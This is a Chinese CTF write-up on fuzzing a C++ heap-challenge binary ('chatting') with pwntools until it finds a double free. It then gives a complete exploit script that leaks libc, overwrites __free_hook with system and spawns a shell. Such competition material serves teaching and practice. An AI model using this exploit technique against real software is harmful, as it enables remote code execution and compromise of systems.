前言
这个题目是一个c++的堆题,而我自己对于c++的一些内存分配不太了解,同时也不太会c++的逆向,硬看是没有办法了,所以就想能不能通过fuzz的角度去进行利用
fuzz
大概思路
函数选择
可以看到有add delete switch read listuser message6个操作,而凭感觉来说,listuser一般没什么效果,所以我这里主要fuzz其他五个函数
交互
简单写一下交互
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
参数
这里可以注意到,参数总共有3种,1 username,2 message的size,3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值,大概范围就是8个值,样本范围不适合太大
size 这里我简单看了一下程序,里面有个分配0x60大小的堆,保存了用户的信息,然后我就想把message的size和这个用户的size构造一样,有可能会有uaf的问题
data 这里我就随便写了短的内容,最开始也没想过溢出,还是想fuzz double free这种问题
初步fuzz结构
下面是一个fuzz的例子,可以看到思路就很简单,随机执行操作,然后记录到log里面
def fuzz():
f=open('log.txt','w')
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')
elif i % 3 == 0 :
idx=randint(0,0x10)
show(idx)
ru('>>: ')
check_char=r(1)
if check_char == '\x55' or check_char == '\x56':
f.write('show({})'.format(idx)+'\n')
break
f.close()
但是在做这个题目的时候遇到了其他的一些问题,不像之前fuzz其他题目一样,这个题目fuzz很容易报错,那么我们必须要进行一个异常的捕获
处理异常
处理异常这里坑还是比较多的,我就分别描述
无法获取程序异常返回结果
在交互里面,我们比较习惯写成sla,或者ru这种,他报错的时候不会返回给我们程序的报错内容,所以这里我通过阅读ru的实现,修改了一下代码,把程序的返回值放到Exception里面,然后我们就可以知道程序到底报了什么错,是double free呢,还是invalid pointer
log记录问题
log里面少记录
按照前面提到的fuzz结构,增加异常处理后类似于下面的代码
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')
except:
pass
finally:
f.close()
这种写法,如果在执行流程里面比如说add里报了错,因为抛了异常导致这个操作会无法记录下来
log里面多记录
针对上面少记录的情况,可能我们会这样改
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
tmp='add({},0x20)'.format(idx)+'\n'
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
tmp='delt({},0x20)'.format(idx)+'\n'
free(idx)
f.write('delt({})'.format(idx)+'\n')
except:
f.write(tmp)
finally:
f.close()
但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常,但是这个时候不会在add这里结束,他还会执行到下一个流程,然后会在下一个流程的sla(b"listuser, exit")这里抛异常,然后我们就会多记录一个操作
最终解决方法
在这里,我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
交互结束,收到Choose action为止
这样定义后我们可以保证下一个流程能够正常的开始,就不会出上面提到的多记录的问题了,也就能够保证,当前流程抛出的异常一定是当前流程里执行某些操作引起的,而不是上一个流程遗留的异常
总共就是下面三个情况
- 如果add中间出错了,那么flag=0,我们会在excpet里面记录
- 如果ru报错,那么证明add完之后出现了问题,flag=0,也会记上
- 如果本次add操作没有触发任何异常,那么也会记录在log里,同时也能够成功执行到下一次的操作,
def fuzz():
global io
io = process("./chatting")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
ru('Choose action')
flag=1
f.write(tmp)
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
按照上面的结构fuzz,一方面我们可以获取到程序的异常原因,另一个方面也可以不多不少的记录下来执行的操作
开始fuzz
保留所有结果的fuzz
这个fuzz里面保留了所有的结果
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"aa")\n'
message(name,0x58,"aa")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info:
f.write(tmp)
f.write(f"#{info}\n")
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
while True:
if fuzz()==1:
print("sucess")
exit(0)
方便的验证脚本
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"): ",b"read")
def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)
io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:
for line in f.read().split("\n"):
if line=="" or line[0]=="#" :
pass
else:
eval(line)
it()
去掉一些无用操作的fuzz
fuzz里会有一些无用操作,比如说我们free一个不存在的index的结构体,那么他会提示not found,同时实际上他也没有影响堆布局等,这些可以忽略的
先调整一下delete
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
调整一下switch
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
经过测试发现,虽然message会报Recipient not found!的错误,但是我们不能把他过滤,实际上他还是做了对应的操作的,下面是代码部分
那从纯fuzz的角度来说呢,我们就是一个个试,看看哪些是可以忽略,哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作,但是实际上这些操作可能影响了堆布局,我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试,show delete switch操作可以忽略一些无效的操作,但是message不行
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"")\n'
message(name,0x58,"")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info :
f.write(tmp)
f.write(f"#{info}\n")
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
while True:
if fuzz()==1:
print("sucess")
exit(0)
结果
add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")
修改payload
当我们去掉最后一个的时候可以发现这里已经double free了,那么我们只需要按照正常操作,去写free_hook即可
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
最后发现add会free message,直接rce
all payload
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"): ",b"read")
def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)
io = process("./chatting")
sla(b"new username: ",b"a")
add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()
总结
- 注意异常处理部分
- 注意每一个流程完整的生命周期,防止当前流程触发的异常实际是上一个操作的
- 不要随意忽视看起来没有效果的操作,除非能保证去除那些操作之后不影响fuzz的结果,或者说除非我们从代码层面能够保证实际是没有效果的